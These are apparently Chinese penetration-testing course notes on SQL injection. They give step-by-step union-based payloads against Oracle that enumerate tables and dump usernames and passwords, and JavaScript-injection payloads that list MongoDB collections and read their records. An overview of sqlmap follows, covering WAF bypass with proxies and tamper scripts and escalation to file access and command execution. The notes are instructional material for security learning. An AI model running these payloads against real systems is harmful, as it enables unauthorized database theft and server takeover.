WEB 攻防-通用漏洞&SQL 注入&Sqlmap&Oracle&Mongodb&DB2 等
演示案例:
- 数据库注入-联合猜解-Oracle&Mongodb
-
Oracle一般会搭建在Java or PHP
参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html
测回显:and 1=2 union select '1','2' from dual 爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual 模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual 爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual 爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual 爆数据:and 1=2 union select user_name,user_pwd from "sns_users" 爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
-
Mongodb一般会在python里面经常用到的数据库,手工注入比较难,工具直接跑就ok了,一般Mongodb注入有个条件:需要知道一些一部分的代码的展示,如果不知道的话就是很难去注入
参考:https://www.runoob.com/mongodb/mongodb-query.html
测回显:/new_list.php?id=1'}); return ({title:1,content:'2 爆库: /new_list.php?id=1'}); return ({title:tojson(db),content:'1 爆表: /new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1 爆字段:/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1 db.getCollectionNames()返回的是数组,需要用 tojson 转换为字符串。 db.Authority_confidential 是当前用的集合(表),find 函数用于查询,0 是第 一条数据
- 数据库注入-SQLMAP-DB2&SQLite&Sybase
- 数据库注入-SQLMAP-数据猜解&高权限读写执行
SQLMAP
官网:sqlmap.org
-
什么是 SQLMAP?
sqlmap:开源渗透测试工具,可以自动检测和利用SQL注入漏洞并接管数据库服务器,注入点利用和检测都可以用到sqlmap去尝试检测和利用
-
它支持哪些数据库注入?
90%的数据库都支持,仅有几个不支持redis、nosql
-
它支持哪些 SQL 注入模式?
1. 基于bool的SQL盲注入(通过构造特定的SQL语句,利用返回的结果判断是否存在注入漏洞)
2. 基于时间的SQL盲注入(通过在SQL语句中添加等待时间,利用时间差判断是否存在注入漏洞)
3. 基于错误的SQL注入(构造语法上面的错误的SQL语句,期望从服务器获取错误信息,从而判断服务器版本、代码特点等)
上面三种在手工上面很麻烦,很难去实现,得到的数据会花很长的时间,大部分用工具/脚本去跑
4.UNION查询SQL注入(最简单、最适合手工的)
5.堆叠查询和外带,外带指的是dnslog:利用其他协议将这种数据dns这种情况带外出来 (这两种不是很清楚 引用大佬[博客](https://www.cnblogs.com/chenhongl/articles/18034534 "博客"))
-
它支持哪些其他不一样功能?
[https://www.cnblogs.com/bmjoker/p/9326258.html]
1.支持代理注入:你在注入的时候,它的一个代理相当于可以让你能够时时刻刻看见sqlmap的进度,代理还能解决像waf过滤的情况:比如:你的请求过快,网站会把你的请求拉入黑名单,访问不了,所以这个时候就可以用代理去尝试绕过;另一方面,代理相当于解决这种网站访问的速度和访问的拒绝连接的情况,它都支持
2.sqlmap爆破密文(MD5...)自动检测到的
3.提供脚本:例如,tamper脚本为了去在注入的时候一些复杂注入,比如有说有waf or 过滤的,过滤掉关键字,用这个脚本尝试去绕过or编码这些情况
-
使用 SQLMAP 一般注入流程分析?
学习手工注入的原因:流程
1.判断注入点有无 ——>2.看是什么数据库的诸如点 ——> 3.看这个数据库是否存在高低权限:低权限大部分会猜解数据,高权限才能进行文件的读取、命令的执行其他功能 ——>4.选择对应方法
我们注入是为了:获取数据/权限,获取权限通过文件读取、写入、命令执行来获取,这样一来,就不需要再去注入数据了。如果文件读取、写入、命令执行都不行就只能老老实实地气才数据,在注入的时候,手工认为它是一个注入点,但工具不行,注入不了,考虑是否存在过滤,语句特别复杂在哪里需要加个什么东西之类的sqlmap才能注入,这些都是需要手工注入并且对注入原理有了一定的了解之后才能解决